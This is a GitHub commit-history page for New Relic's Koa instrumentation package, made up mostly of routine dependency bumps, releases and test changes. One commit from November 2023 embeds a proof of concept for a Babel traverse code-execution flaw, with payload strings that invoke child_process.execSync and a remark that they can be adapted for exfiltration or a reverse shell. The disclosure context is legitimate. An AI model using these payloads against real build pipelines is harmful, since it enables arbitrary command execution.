    dcd4a3d View commit details
    Browse the repository at this point in the history

Commits on Nov 14, 2022

  1. Setting version to v7.1.0.

    jordigh committed Nov 14, 2022
    Configuration menu
    Copy the full SHA
    d0aeac6 View commit details
    Browse the repository at this point in the history
  2. Adds auto-generated release notes.

    jordigh committed Nov 14, 2022
    Configuration menu
    Copy the full SHA
    e135516 View commit details
    Browse the repository at this point in the history
  3. Merge pull request newrelic#127 from newrelic/release/v7.1.0

    Release v7.1.0
    jordigh authored Nov 14, 2022
    Configuration menu
    Copy the full SHA
    8de2ce6 View commit details
    Browse the repository at this point in the history

Commits on Dec 8, 2022

  1. npm audit fix

    jmartin4563 committed Dec 8, 2022
    Configuration menu
    Copy the full SHA
    ad9182d View commit details
    Browse the repository at this point in the history

Commits on Dec 9, 2022

  1. Update the latest version of newrelic

    Need 9.7.1 to get the CLM code
    jmartin4563 committed Dec 9, 2022
    Configuration menu
    Copy the full SHA
    d340f17 View commit details
    Browse the repository at this point in the history
  2. Configuration menu
    Copy the full SHA
    cbd2580 View commit details
    Browse the repository at this point in the history
  3. Merge pull request newrelic#129 from newrelic/coreyarnold-patch-2

    docs: update slack invite link
    jmartin4563 authored Dec 9, 2022
    Configuration menu
    Copy the full SHA
    fb929a4 View commit details
    Browse the repository at this point in the history

Commits on Dec 12, 2022

  1. Bump qs from 6.5.2 to 6.5.3

    Bumps [qs](https://github.com/ljharb/qs) from 6.5.2 to 6.5.3.
    - [Release notes](https://github.com/ljharb/qs/releases)
    - [Changelog](https://github.com/ljharb/qs/blob/main/CHANGELOG.md)
    - [Commits](ljharb/qs@v6.5.2...v6.5.3)
    
    ---
    updated-dependencies:
    - dependency-name: qs
      dependency-type: indirect
    ...
    
    Signed-off-by: dependabot[bot] <[email protected]>
    dependabot[bot] authored Dec 12, 2022
    Configuration menu
    Copy the full SHA
    4b31387 View commit details
    Browse the repository at this point in the history
  2. Merge pull request newrelic#130 from newrelic/dependabot/npm_and_yarn…

    …/qs-6.5.3
    
    Bump qs from 6.5.2 to 6.5.3
    jmartin4563 authored Dec 12, 2022
    Configuration menu
    Copy the full SHA
    94fcd5d View commit details
    Browse the repository at this point in the history
  3. Configuration menu
    Copy the full SHA
    a195a92 View commit details
    Browse the repository at this point in the history
  4. Configuration menu
    Copy the full SHA
    0040160 View commit details
    Browse the repository at this point in the history

Commits on Dec 15, 2022

  1. Configuration menu
    Copy the full SHA
    535b62a View commit details
    Browse the repository at this point in the history
  2. Merge pull request newrelic#133 from jmartin4563/NEWRELIC-5896-koa-mjs

    NEWRELIC-5896 Updated koa instrumentation to support ESM
    bizob2828 authored Dec 15, 2022
    Configuration menu
    Copy the full SHA
    6b8e19a View commit details
    Browse the repository at this point in the history

Commits on Dec 16, 2022

  1. Configuration menu
    Copy the full SHA
    054a248 View commit details
    Browse the repository at this point in the history
  2. Configuration menu
    Copy the full SHA
    ca1c73c View commit details
    Browse the repository at this point in the history
  3. Configuration menu
    Copy the full SHA
    89db190 View commit details
    Browse the repository at this point in the history
  4. Configuration menu
    Copy the full SHA
    5210a87 View commit details
    Browse the repository at this point in the history

Commits on Dec 19, 2022

  1. Configuration menu
    Copy the full SHA
    4ac71bc View commit details
    Browse the repository at this point in the history
  2. Configuration menu
    Copy the full SHA
    e039f34 View commit details
    Browse the repository at this point in the history
  3. Configuration menu
    Copy the full SHA
    3750c2e View commit details
    Browse the repository at this point in the history
  4. Configuration menu
    Copy the full SHA
    b32badc View commit details
    Browse the repository at this point in the history

Commits on Dec 20, 2022

  1. Merge pull request newrelic#128 from jmartin4563/NEWRELIC-5567-koa-cl…

    …m-tests
    
    NEWRELIC-5567 Added Code Level Metrics tests to Koa instrumentation
    bizob2828 authored Dec 20, 2022
    Configuration menu
    Copy the full SHA
    67b37f7 View commit details
    Browse the repository at this point in the history
  2. Configuration menu
    Copy the full SHA
    abfc961 View commit details
    Browse the repository at this point in the history

Commits on Dec 21, 2022

  1. Merge pull request newrelic#135 from jmartin4563/NEWRELIC-5683-lockfi…

    …le-lint
    
    NEWRELIC-5683 added lockfile checks/linting to CI workflow
    bizob2828 authored Dec 21, 2022
    Configuration menu
    Copy the full SHA
    963fdd3 View commit details
    Browse the repository at this point in the history

Commits on Jan 8, 2023

  1. Bump json5 from 2.2.1 to 2.2.2

    Bumps [json5](https://github.com/json5/json5) from 2.2.1 to 2.2.2.
    - [Release notes](https://github.com/json5/json5/releases)
    - [Changelog](https://github.com/json5/json5/blob/main/CHANGELOG.md)
    - [Commits](json5/json5@v2.2.1...v2.2.2)
    
    ---
    updated-dependencies:
    - dependency-name: json5
      dependency-type: indirect
    ...
    
    Signed-off-by: dependabot[bot] <[email protected]>
    dependabot[bot] authored Jan 8, 2023
    Configuration menu
    Copy the full SHA
    806733a View commit details
    Browse the repository at this point in the history

Commits on Jan 9, 2023

  1. Merge pull request newrelic#136 from newrelic/dependabot/npm_and_yarn…

    …/json5-2.2.2
    
    Bump json5 from 2.2.1 to 2.2.2
    bizob2828 authored Jan 9, 2023
    Configuration menu
    Copy the full SHA
    1119d8c View commit details
    Browse the repository at this point in the history

Commits on Jan 20, 2023

  1. docs: update API docs to remove docs/ path component

    Jordi Gutiérrez Hermoso committed Jan 20, 2023
    Configuration menu
    Copy the full SHA
    5ddc04e View commit details
    Browse the repository at this point in the history
  2. Merge pull request newrelic#138 from jordigh/api-docs

    docs: update API docs to remove docs/ path component
    jordigh authored Jan 20, 2023
    Configuration menu
    Copy the full SHA
    56fe393 View commit details
    Browse the repository at this point in the history

Commits on Mar 13, 2023

  1. Configuration menu
    Copy the full SHA
    8b45535 View commit details
    Browse the repository at this point in the history

Commits on Mar 14, 2023

  1. Configuration menu
    Copy the full SHA
    a9dbc1b View commit details
    Browse the repository at this point in the history

Commits on Apr 19, 2023

  1. Configuration menu
    Copy the full SHA
    53bc646 View commit details
    Browse the repository at this point in the history
  2. bumped test-utils

    bizob2828 committed Apr 19, 2023
    Configuration menu
    Copy the full SHA
    6879c33 View commit details
    Browse the repository at this point in the history
  3. Merge pull request newrelic#141 from newrelic/shim-fixes

    added new shimName to nr-hooks to reuse shim ids
    bizob2828 authored Apr 19, 2023
    Configuration menu
    Copy the full SHA
    b7c09e0 View commit details
    Browse the repository at this point in the history
  4. updated tests to include shimName when registering instrumentation. a…

    …lso updated index.js to include shimName as that was missed from last time
    bizob2828 committed Apr 19, 2023
    Configuration menu
    Copy the full SHA
    a863dea View commit details
    Browse the repository at this point in the history
  5. Merge pull request newrelic#144 from bizob2828/moar-shim-fixes

    updated tests to include shimName when registering instrumentation. also updated index.js to include shimName as that was missed from last time
    bizob2828 authored Apr 19, 2023
    Configuration menu
    Copy the full SHA
    639d029 View commit details
    Browse the repository at this point in the history
  6. Setting version to v7.2.0.

    bizob2828 committed Apr 19, 2023
    Configuration menu
    Copy the full SHA
    373ca6c View commit details
    Browse the repository at this point in the history
  7. Configuration menu
    Copy the full SHA
    e07c467 View commit details
    Browse the repository at this point in the history
  8. changelog edits

    bizob2828 committed Apr 19, 2023
    Configuration menu
    Copy the full SHA
    1232c93 View commit details
    Browse the repository at this point in the history
  9. Configuration menu
    Copy the full SHA
    c15c512 View commit details
    Browse the repository at this point in the history
  10. removed upper limit on router and made assertions work with all versi…

    …ons of router, abstracted router tests, reduced versioned matrix by splitting out koa-router and @koa/router tests
    bizob2828 committed Apr 19, 2023
    Configuration menu
    Copy the full SHA
    56e4206 View commit details
    Browse the repository at this point in the history

Commits on Apr 24, 2023

  1. Configuration menu
    Copy the full SHA
    976a5db View commit details
    Browse the repository at this point in the history
  2. Merge pull request newrelic#147 from bizob2828/unpin-koa-router

    removed upper limit on router and made assertions work with all versi…
    bizob2828 authored Apr 24, 2023
    Configuration menu
    Copy the full SHA
    17440fb View commit details
    Browse the repository at this point in the history

Commits on Apr 25, 2023

  1. Move versioned test sampling config to package.json so agent runs als…

    …o use 5 for sampling in minor runs
    jmartin4563 committed Apr 25, 2023
    Configuration menu
    Copy the full SHA
    26f4c56 View commit details
    Browse the repository at this point in the history

Commits on Apr 26, 2023

  1. Configuration menu
    Copy the full SHA
    ab770de View commit details
    Browse the repository at this point in the history
  2. Merge pull request newrelic#148 from jmartin4563/fix-c8-oom

    Move versioned test sampling config to package.json
    bizob2828 authored Apr 26, 2023
    Configuration menu
    Copy the full SHA
    401e2c1 View commit details
    Browse the repository at this point in the history

Commits on May 3, 2023

  1. Configuration menu
    Copy the full SHA
    060923a View commit details
    Browse the repository at this point in the history

Commits on May 5, 2023

  1. Merge pull request newrelic#149 from newrelic/update-get-shim

    updated test utils and use helper.getShim instead of local one
    mrickard authored May 5, 2023
    Configuration menu
    Copy the full SHA
    2a8f2bc View commit details
    Browse the repository at this point in the history
  2. Removed index.js entry point for running standalone.

    Added test for loading via nr-hooks.
    
    Signed-off-by: mrickard <[email protected]>
    mrickard committed May 5, 2023
    Configuration menu
    Copy the full SHA
    b53ace0 View commit details
    Browse the repository at this point in the history
  3. Updated nr-hooks.tap.js to use helper.getShim

    Signed-off-by: mrickard <[email protected]>
    mrickard committed May 5, 2023
    Configuration menu
    Copy the full SHA
    2c60757 View commit details
    Browse the repository at this point in the history

Commits on May 8, 2023

  1. Configuration menu
    Copy the full SHA
    909f9a7 View commit details
    Browse the repository at this point in the history
  2. Replaced var with const or let

    Signed-off-by: mrickard <[email protected]>
    mrickard committed May 8, 2023
    Configuration menu
    Copy the full SHA
    743992a View commit details
    Browse the repository at this point in the history
  3. Merge pull request newrelic#150 from mrickard/NEWRELIC-4879/add-tests

    chore: Added nr-hooks test, removed index
    bizob2828 authored May 8, 2023
    Configuration menu
    Copy the full SHA
    2d056a9 View commit details
    Browse the repository at this point in the history

Commits on May 31, 2023

  1. Configuration menu
    Copy the full SHA
    3d87b4d View commit details
    Browse the repository at this point in the history
  2. Merge pull request newrelic#151 from jmartin4563/fix-readme-forum-link

    chore: update explorer hub link in readme
    jmartin4563 authored May 31, 2023
    Configuration menu
    Copy the full SHA
    1a8e026 View commit details
    Browse the repository at this point in the history

Commits on Jun 27, 2023

  1. fix: package.json & package-lock.json to reduce vulnerabilities

    The following vulnerabilities are fixed with an upgrade:
    - https://snyk.io/vuln/SNYK-JS-SEMVER-3247795
    snyk-bot committed Jun 27, 2023
    Configuration menu
    Copy the full SHA
    3c3b131 View commit details
    Browse the repository at this point in the history
  2. Merge pull request newrelic#152 from newrelic/snyk-fix-5410d6cbc3d5fe…

    …b5584e8f4d6e7937d9
    
    [Snyk] Security upgrade newrelic from 10.0.0 to 10.3.1
    bizob2828 authored Jun 27, 2023
    Configuration menu
    Copy the full SHA
    990f484 View commit details
    Browse the repository at this point in the history

Commits on Jun 28, 2023

  1. Configuration menu
    Copy the full SHA
    8a83a82 View commit details
    Browse the repository at this point in the history
  2. Merge pull request newrelic#154 from bizob2828/update-readme

    docs: updated readme to specify this no longer is a standalone package
    bizob2828 authored Jun 28, 2023
    Configuration menu
    Copy the full SHA
    9cbac28 View commit details
    Browse the repository at this point in the history

Commits on Jul 8, 2023

  1. Bump protobufjs from 7.2.3 to 7.2.4

    Bumps [protobufjs](https://github.com/protobufjs/protobuf.js) from 7.2.3 to 7.2.4.
    - [Release notes](https://github.com/protobufjs/protobuf.js/releases)
    - [Changelog](https://github.com/protobufjs/protobuf.js/blob/master/CHANGELOG.md)
    - [Commits](protobufjs/protobuf.js@protobufjs-v7.2.3...protobufjs-v7.2.4)
    
    ---
    updated-dependencies:
    - dependency-name: protobufjs
      dependency-type: indirect
    ...
    
    Signed-off-by: dependabot[bot] <[email protected]>
    dependabot[bot] authored Jul 8, 2023
    Configuration menu
    Copy the full SHA
    16c81cf View commit details
    Browse the repository at this point in the history

Commits on Jul 10, 2023

  1. Merge pull request newrelic#155 from newrelic/dependabot/npm_and_yarn…

    …/protobufjs-7.2.4
    
    Bump protobufjs from 7.2.3 to 7.2.4
    bizob2828 authored Jul 10, 2023
    Configuration menu
    Copy the full SHA
    42ccac6 View commit details
    Browse the repository at this point in the history

Commits on Jul 11, 2023

  1. Configuration menu
    Copy the full SHA
    b19ea85 View commit details
    Browse the repository at this point in the history

Commits on Jul 18, 2023

  1. Merge pull request newrelic#156 from bizob2828/node-20

    chore: added node 20 and drop node 14 in CI
    bizob2828 authored Jul 18, 2023
    Configuration menu
    Copy the full SHA
    6fc6d6a View commit details
    Browse the repository at this point in the history

Commits on Jul 19, 2023

  1. Bump word-wrap from 1.2.3 to 1.2.4

    Bumps [word-wrap](https://github.com/jonschlinkert/word-wrap) from 1.2.3 to 1.2.4.
    - [Release notes](https://github.com/jonschlinkert/word-wrap/releases)
    - [Commits](jonschlinkert/word-wrap@1.2.3...1.2.4)
    
    ---
    updated-dependencies:
    - dependency-name: word-wrap
      dependency-type: indirect
    ...
    
    Signed-off-by: dependabot[bot] <[email protected]>
    dependabot[bot] authored Jul 19, 2023
    Configuration menu
    Copy the full SHA
    8910d09 View commit details
    Browse the repository at this point in the history
  2. Merge pull request newrelic#159 from newrelic/dependabot/npm_and_yarn…

    …/word-wrap-1.2.4
    
    Bump word-wrap from 1.2.3 to 1.2.4
    bizob2828 authored Jul 19, 2023
    Configuration menu
    Copy the full SHA
    dccbc12 View commit details
    Browse the repository at this point in the history

Commits on Aug 9, 2023

  1. chore!: Dropped Node 14

    Signed-off-by: mrickard <[email protected]>
    mrickard committed Aug 9, 2023
    Configuration menu
    Copy the full SHA
    bfe96e8 View commit details
    Browse the repository at this point in the history
  2. chore: Updated lockfile

    Signed-off-by: mrickard <[email protected]>
    mrickard committed Aug 9, 2023
    Configuration menu
    Copy the full SHA
    b713f07 View commit details
    Browse the repository at this point in the history

Commits on Aug 16, 2023

  1. Merge pull request newrelic#160 from mrickard/NR-142039/drop-node-14

    chore!: Dropped Node 14
    bizob2828 authored Aug 16, 2023
    Configuration menu
    Copy the full SHA
    3dc22e6 View commit details
    Browse the repository at this point in the history

Commits on Aug 17, 2023

  1. Setting version to v8.0.0.

    mrickard committed Aug 17, 2023
    Configuration menu
    Copy the full SHA
    b1795c2 View commit details
    Browse the repository at this point in the history
  2. Configuration menu
    Copy the full SHA
    60219cc View commit details
    Browse the repository at this point in the history
  3. chore: Updated News.md

    Signed-off-by: mrickard <[email protected]>
    mrickard committed Aug 17, 2023
    Configuration menu
    Copy the full SHA
    936132c View commit details
    Browse the repository at this point in the history
  4. chore: Updated News.md (Node 20 support)

    Signed-off-by: mrickard <[email protected]>
    mrickard committed Aug 17, 2023
    Configuration menu
    Copy the full SHA
    4d15a18 View commit details
    Browse the repository at this point in the history

Commits on Aug 18, 2023

  1. Configuration menu
    Copy the full SHA
    bbf4058 View commit details
    Browse the repository at this point in the history

Commits on Aug 30, 2023

  1. Configuration menu
    Copy the full SHA
    bb5b801 View commit details
    Browse the repository at this point in the history
  2. Configuration menu
    Copy the full SHA
    b2438a2 View commit details
    Browse the repository at this point in the history

Commits on Oct 17, 2023

  1. Bump @babel/traverse

    Bumps  and [@babel/traverse](https://github.com/babel/babel/tree/HEAD/packages/babel-traverse). These dependencies needed to be updated together.
    
    Updates `@babel/traverse` from 7.17.3 to 7.23.2
    - [Release notes](https://github.com/babel/babel/releases)
    - [Changelog](https://github.com/babel/babel/blob/main/CHANGELOG.md)
    - [Commits](https://github.com/babel/babel/commits/v7.23.2/packages/babel-traverse)
    
    Updates `@babel/traverse` from 7.21.4 to 7.23.2
    - [Release notes](https://github.com/babel/babel/releases)
    - [Changelog](https://github.com/babel/babel/blob/main/CHANGELOG.md)
    - [Commits](https://github.com/babel/babel/commits/v7.23.2/packages/babel-traverse)
    
    ---
    updated-dependencies:
    - dependency-name: "@babel/traverse"
      dependency-type: indirect
    - dependency-name: "@babel/traverse"
      dependency-type: indirect
    ...
    
    Signed-off-by: dependabot[bot] <[email protected]>
    dependabot[bot] authored Oct 17, 2023
    Configuration menu
    Copy the full SHA
    1a73dd9 View commit details
    Browse the repository at this point in the history

Commits on Oct 20, 2023

  1. Merge pull request newrelic#164 from newrelic/dependabot/npm_and_yarn…

    …/babel/traverse-and-babel/traverse-7.23.2
    
    Bump @babel/traverse
    mrickard authored Oct 20, 2023
    Configuration menu
    Copy the full SHA
    eded44b View commit details
    Browse the repository at this point in the history

Commits on Oct 24, 2023

  1. Configuration menu
    Copy the full SHA
    5983db3 View commit details
    Browse the repository at this point in the history

Commits on Oct 25, 2023

  1. Merge pull request newrelic#165 from bizob2828/remove-peer-dep

    chore: removed newrelic as peer dep as standalone is no longer supported
    mrickard authored Oct 25, 2023
    Configuration menu
    Copy the full SHA
    72afad7 View commit details
    Browse the repository at this point in the history
  2. Setting version to v8.0.1.

    mrickard committed Oct 25, 2023
    Configuration menu
    Copy the full SHA
    4e11d65 View commit details
    Browse the repository at this point in the history
  3. Configuration menu
    Copy the full SHA
    b857bc0 View commit details
    Browse the repository at this point in the history
  4. chore: Edited News.md

    Signed-off-by: mrickard <[email protected]>
    mrickard committed Oct 25, 2023
    Configuration menu
    Copy the full SHA
    26d7320 View commit details
    Browse the repository at this point in the history
  5. Configuration menu
    Copy the full SHA
    34033a7 View commit details
    Browse the repository at this point in the history

Commits on Nov 10, 2023

  1. Bump axios and newrelic

    Bumps [axios](https://github.com/axios/axios) to 1.6.0 and updates ancestor dependency [newrelic](https://github.com/newrelic/node-newrelic). These dependencies need to be updated together.
    
    
    Updates `axios` from 0.21.4 to 1.6.0
    - [Release notes](https://github.com/axios/axios/releases)
    - [Changelog](https://github.com/axios/axios/blob/v1.x/CHANGELOG.md)
    - [Commits](axios/axios@v0.21.4...v1.6.0)
    
    Updates `newrelic` from 11.0.0 to 11.5.0
    - [Release notes](https://github.com/newrelic/node-newrelic/releases)
    - [Changelog](https://github.com/newrelic/node-newrelic/blob/main/changelog.json)
    - [Commits](newrelic/node-newrelic@v11.0.0...v11.5.0)
    
    ---
    updated-dependencies:
    - dependency-name: axios
      dependency-type: indirect
    - dependency-name: newrelic
      dependency-type: direct:development
    ...
    
    Signed-off-by: dependabot[bot] <[email protected]>
    dependabot[bot] authored Nov 10, 2023
    Configuration menu
    Copy the full SHA
    3f3ad8d View commit details
    Browse the repository at this point in the history

Commits on Nov 12, 2023

  1. Patched Babel vulnerable to arbitrary code execution when compiling s…

    …pecifically crafted malicious code
    
    ## Description Overview
    Affected of this project **newrelic/node-newrelic-koa**  are vulnerable to Incomplete List of Disallowed Inputs when using plugins that rely on the `path.evaluate()` or `path.evaluateTruthy()` internal Babel methods. 
    
    ## Proof of Concept
    ```js
    const parser = require("@koa/router");
    const traverse = require("@babel/traverse").default;
    
    const source = `String({  toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")});`;
    
    const ast = parser.parse(source);
    
    const evalVisitor = {
      Expression(path) {
        path.evaluate();
      },
    };
    
    traverse(ast, evalVisitor);
    ```
    This simply outputs the result of the `id` command to the terminal, as can be seen below.
    ```
    ┌──(kali㉿kali)-[~/Babel RCE]
    └─$ node exploit.js
    uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),111(bluetooth),115(scanner),138(wireshark),141(kaboxer),142(vboxsf)
    ```
    Of course, the payload can be adapted to do anything, such as exfiltrate data or spawn a reverse shell.
    
    The source code of `babel-traverse/src/path/evaluation.ts` prior to the fix is archived here
    ```js
    /**
     * Walk the input `node` and statically evaluate it.
     *
     * Returns an object in the form `{ confident, value, deopt }`. `confident`
     * indicates whether or not we had to drop out of evaluating the expression
     * because of hitting an unknown node that we couldn't confidently find the
     * value of, in which case `deopt` is the path of said node.
     *
     * Example:
     *
     *   t.evaluate(parse("5 + 5")) // { confident: true, value: 10 }
     *   t.evaluate(parse("!true")) // { confident: true, value: false }
     *   t.evaluate(parse("foo + foo")) // { confident: false, value: undefined, deopt: NodePath }
     *
     */
    
    export function evaluate(this: NodePath): {
      confident: boolean;
      value: any;
      deopt?: NodePath;
    } {
      const state: State = {
        confident: true,
        deoptPath: null,
        seen: new Map(),
      };
      let value = evaluateCached(this, state);
      if (!state.confident) value = undefined;
    
      return {
        confident: state.confident,
        deopt: state.deoptPath,
        value: value,
      };
    }
    ```
    When `evaluate` is called on a NodePath, it goes through the `evaluatedCached` wrapper, before reaching the _evaluate function which does all the heavy lifting. The `_evaluate` function is where the vulnerability lies.
    
    This function is responsible for recursively breaking down AST nodes until it reaches an atomic operation that can be evaluated confidently. The majority of the base cases are evaluated for atomic operations only (such as for binary expressions between two literals). However, there are a few exceptions to this rule.
    
    The two pieces of the source code we care about are the handling of call expressions and object expressions, as shown below:
    ```js
    const VALID_OBJECT_CALLEES = ["Number", "String", "Math"] as const;
    const VALID_IDENTIFIER_CALLEES = [
      "isFinite",
      "isNaN",
      "parseFloat",
      "parseInt",
      "decodeURI",
      "decodeURIComponent",
      "encodeURI",
      "encodeURIComponent",
      process.env.BABEL_8_BREAKING ? "btoa" : null,
      process.env.BABEL_8_BREAKING ? "atob" : null,
    ] as const;
    
    const INVALID_METHODS = ["random"] as const;
    
    function isValidObjectCallee(
      val: string
    ): val is (typeof VALID_OBJECT_CALLEES)[number] {
      return VALID_OBJECT_CALLEES.includes(
        // @ts-expect-error val is a string
        val
      );
    }
    
    function isValidIdentifierCallee(
      val: string
    ): val is (typeof VALID_IDENTIFIER_CALLEES)[number] {
      return VALID_IDENTIFIER_CALLEES.includes(
        // @ts-expect-error val is a string
        val
      );
    }
    
    function isInvalidMethod(val: string): val is (typeof INVALID_METHODS)[number] {
      return INVALID_METHODS.includes(
        // @ts-expect-error val is a string
        val
      );
    }
    
    function _evaluate(path: NodePath, state: State): any {
      /** snip **/
      if (path.isObjectExpression()) {
        const obj = {};
        const props = path.get("properties");
        for (const prop of props) {
          if (prop.isObjectMethod() || prop.isSpreadElement()) {
            deopt(prop, state);
            return;
          }
          const keyPath = (prop as NodePath<t.ObjectProperty>).get("key");
          let key;
          // @ts-expect-error todo(flow->ts): type refinement issues ObjectMethod and SpreadElement somehow not excluded
          if (prop.node.computed) {
            key = keyPath.evaluate();
            if (!key.confident) {
              deopt(key.deopt, state);
              return;
            }
            key = key.value;
          } else if (keyPath.isIdentifier()) {
            key = keyPath.node.name;
          } else {
            key = (
              keyPath.node as t.StringLiteral | t.NumericLiteral | t.BigIntLiteral
            ).value;
          }
          const valuePath = (prop as NodePath<t.ObjectProperty>).get("value");
          let value = valuePath.evaluate();
          if (!value.confident) {
            deopt(value.deopt, state);
            return;
          }
          value = value.value;
          // @ts-expect-error key is any type
          obj[key] = value;
        }
        return obj;
      }
    
      /** snip **/
      if (path.isCallExpression()) {
        const callee = path.get("callee");
        let context;
        let func;
    
        // Number(1);
        if (
          callee.isIdentifier() &&
          !path.scope.getBinding(callee.node.name) &&
          (isValidObjectCallee(callee.node.name) ||
            isValidIdentifierCallee(callee.node.name))
        ) {
          func = global[callee.node.name];
        }
    
        if (callee.isMemberExpression()) {
          const object = callee.get("object");
          const property = callee.get("property");
    
          // Math.min(1, 2)
          if (
            object.isIdentifier() &&
            property.isIdentifier() &&
            isValidObjectCallee(object.node.name) &&
            !isInvalidMethod(property.node.name)
          ) {
            context = global[object.node.name];
            // @ts-expect-error property may not exist in context object
            func = context[property.node.name];
          }
    
          // "abc".charCodeAt(4)
          if (object.isLiteral() && property.isIdentifier()) {
            // @ts-expect-error todo(flow->ts): consider checking ast node type instead of value type (StringLiteral and NumberLiteral)
            const type = typeof object.node.value;
            if (type === "string" || type === "number") {
              // @ts-expect-error todo(flow->ts): consider checking ast node type instead of value type
              context = object.node.value;
              func = context[property.node.name];
            }
          }
        }
    
        if (func) {
          const args = path
            .get("arguments")
            .map((arg) => evaluateCached(arg, state));
          if (!state.confident) return;
    
          return func.apply(context, args);
        }
      }
      /** snip **/
    }
    ```
    ```js
    String(({  toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")}));
    ```
    ```js
    1+(({  valueOf: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")}));
    ```
    CWE-184 
    CWE-697
    `CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`
    Thomas ANDRI Wijayanto authored Nov 12, 2023
    Configuration menu
    Copy the full SHA
    29f605f View commit details
    Browse the repository at this point in the history

Commits on Nov 13, 2023

  1. Merge pull request newrelic#167 from newrelic/dependabot/npm_and_yarn…

    …/axios-and-newrelic-1.6.0
    
    Bump axios and newrelic
    bizob2828 authored Nov 13, 2023
    Configuration menu
    Copy the full SHA
    676117c View commit details
    Browse the repository at this point in the history
  2. Merge pull request newrelic#168 from imhunterand/patch-1

    chore: Updated @babel/traverse parser generator to 7.23.3 in package-lock
    bizob2828 authored Nov 13, 2023
    Configuration menu
    Copy the full SHA
    df88119 View commit details
    Browse the repository at this point in the history

Commits on Jan 11, 2024

  1. Bump follow-redirects from 1.15.3 to 1.15.4

    Bumps [follow-redirects](https://github.com/follow-redirects/follow-redirects) from 1.15.3 to 1.15.4.
    - [Release notes](https://github.com/follow-redirects/follow-redirects/releases)
    - [Commits](follow-redirects/follow-redirects@v1.15.3...v1.15.4)
    
    ---
    updated-dependencies:
    - dependency-name: follow-redirects
      dependency-type: indirect
    ...
    
    Signed-off-by: dependabot[bot] <[email protected]>
    dependabot[bot] authored Jan 11, 2024
    Configuration menu
    Copy the full SHA
    fc46530 View commit details
    Browse the repository at this point in the history
  2. Merge pull request newrelic#169 from newrelic/dependabot/npm_and_yarn…

    …/follow-redirects-1.15.4
    
    Bump follow-redirects from 1.15.3 to 1.15.4
    mrickard authored Jan 11, 2024
    Configuration menu
    Copy the full SHA
    51b9a4a View commit details
    Browse the repository at this point in the history

Commits on Feb 22, 2024

  1. Configuration menu
    Copy the full SHA
    9f1eff7 View commit details
    Browse the repository at this point in the history

Commits on Feb 27, 2024

  1. Configuration menu
    Copy the full SHA
    9ce50cf View commit details
    Browse the repository at this point in the history

Commits on Feb 28, 2024

  1. Merge pull request newrelic#171 from newrelic/update-to-specs

    refactor: Updated koa instrumentation to construct specs at instrumentation
    bizob2828 authored Feb 28, 2024
    Configuration menu
    Copy the full SHA
    b981669 View commit details
    Browse the repository at this point in the history

Commits on Mar 12, 2024

  1. Setting version to v9.0.0.

    svetlanabrennan committed Mar 12, 2024
    Configuration menu
    Copy the full SHA
    134a21e View commit details
    Browse the repository at this point in the history
  2. Adds auto-generated release notes.

    svetlanabrennan committed Mar 12, 2024
    Configuration menu
    Copy the full SHA
    463aafc View commit details
    Browse the repository at this point in the history
  3. chore: changelog edits

    bizob2828 committed Mar 12, 2024
    Configuration menu
    Copy the full SHA
    b5154b3 View commit details
    Browse the repository at this point in the history
  4. Configuration menu
    Copy the full SHA
    a84e5da View commit details
    Browse the repository at this point in the history

Commits on Mar 17, 2024

  1. build(deps-dev): bump follow-redirects from 1.15.5 to 1.15.6

    Bumps [follow-redirects](https://github.com/follow-redirects/follow-redirects) from 1.15.5 to 1.15.6.
    - [Release notes](https://github.com/follow-redirects/follow-redirects/releases)
    - [Commits](follow-redirects/follow-redirects@v1.15.5...v1.15.6)
    
    ---
    updated-dependencies:
    - dependency-name: follow-redirects
      dependency-type: indirect
    ...
    
    Signed-off-by: dependabot[bot] <[email protected]>
    dependabot[bot] authored Mar 17, 2024
    Configuration menu
    Copy the full SHA
    29cfb2e View commit details
    Browse the repository at this point in the history

Commits on Mar 18, 2024

  1. Merge pull request newrelic#173 from newrelic/dependabot/npm_and_yarn…

    …/follow-redirects-1.15.6
    
    build(deps-dev): bump follow-redirects from 1.15.5 to 1.15.6
    svetlanabrennan authored Mar 18, 2024
    Configuration menu
    Copy the full SHA
    60d5f1a View commit details
    Browse the repository at this point in the history

Commits on Mar 20, 2024

  1. Configuration menu
    Copy the full SHA
    168fdf5 View commit details
    Browse the repository at this point in the history

Commits on Mar 22, 2024

  1. Configuration menu
    Copy the full SHA
    b2068d2 View commit details
    Browse the repository at this point in the history

Commits on Mar 29, 2024

  1. Configuration menu
    Copy the full SHA
    cbf31f2 View commit details
    Browse the repository at this point in the history

Commits on Apr 1, 2024

  1. Configuration menu
    Copy the full SHA
    7da8ac6 View commit details
    Browse the repository at this point in the history
  2. Configuration menu
    Copy the full SHA
    8ab4637 View commit details
    Browse the repository at this point in the history
  3. Configuration menu
    Copy the full SHA
    e8fe445 View commit details
    Browse the repository at this point in the history
  4. Configuration menu
    Copy the full SHA
    e9974b6 View commit details
    Browse the repository at this point in the history

Commits on Apr 2, 2024

  1. Configuration menu
    Copy the full SHA
    aedc482 View commit details
    Browse the repository at this point in the history

Commits on Apr 4, 2024

  1. Configuration menu
    Copy the full SHA
    54db8c4 View commit details
    Browse the repository at this point in the history

Commits on Apr 16, 2024

  1. Configuration menu
    Copy the full SHA
    dc7acd0 View commit details
    Browse the repository at this point in the history
  2. Configuration menu
    Copy the full SHA
    a338a21 View commit details
    Browse the repository at this point in the history

Commits on Apr 17, 2024

  1. chore: migrated koa versioned tests to use agent_helper, moved symbol…

    …s to lib/symbols, consolidated koa instrumentation into one folder
    bizob2828 committed Apr 17, 2024
    Configuration menu
    Copy the full SHA
    28d478b View commit details
    Browse the repository at this point in the history